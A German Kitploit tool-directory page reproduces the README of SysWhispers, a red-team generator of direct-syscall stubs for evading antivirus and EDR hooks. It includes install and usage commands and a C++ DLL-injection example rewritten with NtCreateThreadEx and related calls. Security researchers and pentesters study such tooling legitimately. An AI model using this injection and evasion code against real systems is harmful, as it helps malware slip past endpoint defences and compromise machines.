Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SysWhispers — AV/EDR-Umgehung durch direkte Systemaufrufe. | Kitploit
Tools/GitHubGitHub/jthuraisamy/syswhispers
ExploitationIDS/IPS-UmgehungShellcodePenetrationstestsRed TeamingPayload-Entwicklung
GitHubjthuraisamy/syswhispers

SysWhispers

AV/EDR-Umgehung durch direkte Systemaufrufe.

Repository anzeigen
2.0k277vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SysWhispers

SysWhispers hilft bei der Umgehung von Sicherheitsmaßnahmen, indem es Header/ASM-Dateien generiert, die von Implantaten verwendet werden können, um direkte Systemaufrufe durchzuführen.

Alle Kern-Syscalls werden von Windows XP bis Windows 10 19042 (20H2) unterstützt. Beispiele für generierte Dateien finden Sie im Ordner example-output/.

Einleitung

Verschiedene Sicherheitsprodukte platzieren Hooks in User-Mode-APIs, um den Ausführungsfluss zu ihren Engines umzuleiten und verdächtiges Verhalten zu erkennen. Die Funktionen in ntdll.dll, die die Syscalls ausführen, bestehen aus nur wenigen Assembler-Anweisungen. Durch ihre Neuimplementierung im eigenen Implantat können die Auslösung dieser Hooks umgangen werden. Diese Technik wurde von @Cn33liz populär gemacht, und sein Blogbeitrag enthält weitere technische Details, die lesenswert sind.

SysWhispers bietet Red Teamern die Möglichkeit, Header/ASM-Paare für jeden Systemaufruf im Kernel-Kernabbild (ntoskrnl.exe) für jede Windows-Version ab XP zu generieren. Die Header enthalten auch die notwendigen Typdefinitionen.

Der Hauptunterschied in der Implementierung zwischen diesem und dem Dumpert POC besteht darin, dass hier nicht RtlGetVersion aufgerufen wird, um die OS-Version abzufragen, sondern dies im Assembler durch direktes Abfragen des PEB erfolgt. Der Vorteil ist, dass eine Funktion aufgerufen werden kann, die mehrere Windows-Versionen unterstützt, anstatt mehrere Funktionen aufzurufen, die jeweils eine Version unterstützen.

Installation

root@kitploit:~
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

Verwendung und Beispiele

Befehlszeilen

root@kitploit:~
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common

# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

Skriptausgabe

root@kitploit:~
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom

  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019

SysWhispers: Why call the kernel when you can whisper?

Common functions selected.

Complete! Files written to:
        syscom.asm
        syscom.h

Vorher-Nachher-Beispiel der klassischen CreateRemoteThread-DLL-Injektion

root@kitploit:~
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
root@kitploit:~
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
root@kitploit:~
#include <Windows.h>
#include "syscalls.h" // Import the generated header.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Allgemeine Funktionen

Die Verwendung des Schalters --preset common erzeugt ein Header/ASM-Paar mit den folgenden Funktionen:

Klicken Sie, um die Funktionsliste zu erweitern.
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Importieren in Visual Studio

  1. Kopieren Sie die generierten H/ASM-Dateien in den Projektordner.
  2. Gehen Sie in Visual Studio zu Projekt → Build Customizations... und aktivieren Sie MASM.
  3. Fügen Sie im Projektmappen-Explorer die .h- und .asm-Dateien als Header- bzw. Quelldateien zum Projekt hinzu.
  4. Öffnen Sie die Eigenschaften der ASM-Datei und setzen Sie den Elementtyp auf Microsoft Macro Assembler.
  5. Stellen Sie sicher, dass die Projektplattform auf x64 gesetzt ist. 32-Bit-Projekte werden derzeit nicht unterstützt.

Einschränkungen und Grenzen

  • Derzeit wird nur 64-Bit-Windows unterstützt.
  • Systemaufrufe aus dem Grafiksubsystem (win32k.sys) werden nicht unterstützt.
  • Getestet mit Visual Studio 2019 (v142) und Windows 10 SDK.

Fehlerbehebung

  • ModuleNotFoundError im Python-Skript.
    • Stellen Sie sicher, dass die erforderlichen Module mit pip3 install -r requirements.txt installiert sind.
  • Fehler aufgrund von Typ-Neudefinitionen: Ein Projekt kann nicht kompiliert werden, wenn Typdefinitionen in syscalls.h bereits definiert wurden.
    • Stellen Sie sicher, dass nur die benötigten Funktionen eingebunden werden (d.h. --preset all ist selten notwendig).
    • Wenn eine Typdefinition bereits in einem anderen verwendeten Header definiert ist, kann sie aus syscalls.h entfernt werden.

Danksagungen

Dieses Skript wurde von @Jackson_T entwickelt, baut aber auf der Arbeit vieler anderer auf:

  • @j00ru für die Pflege von Syscall-Nummern in maschinenlesbaren Formaten.
  • @FoxHex0ne für die Katalogisierung vieler Funktionsprototypen und Typdefinitionen in einem maschinenlesbaren Format.
  • @PetrBenes, NTInternals.net team und MSDN für zusätzliche Prototypen und Typdefinitionen.
  • @Cn33liz für die anfängliche Dumpert POC-Implementierung.

Besonderer Dank an @Dcept905 für Tests und Vorschläge.

Verwandte Artikel und Projekte

  • @0x00dtm: Userland-API-Überwachung und Erkennung von Code-Injektion
  • @0x00dtm: Userland-Hooks besiegen (am Beispiel Bitdefender) (Code)
  • @Cn33liz: Kombination direkter Systemaufrufe und sRDI zur Umgehung von AV/EDR (Code)
  • @mrgretzky: Antiviren-Echtzeitschutz von innen heraus besiegen
  • @SpecialHoang: EDR-Speicherschutz umgehen – Einführung ins Hooking (Code)
  • @xpn und @domchell: Cylance zum Schweigen bringen – Eine Fallstudie zu modernen EDRs
  • @mrjefftang: Universelles Unhooking – Sicherheitssoftware blenden (Code)
  • @spotheplanet: Vollständiges DLL-Unhooking mit C++
  • @hasherezade:

Lizenz

Dieses Projekt ist unter der Apache License 2.0 lizenziert.

Tool herunterladen
Floki Bot und der heimliche Dropper
  • @hodg87: Neueste Trickbot-Variante hat neue Tricks im Ärmel
  • @hodg87: Malware-Abwehr bei Verwendung direkter Systemaufrufe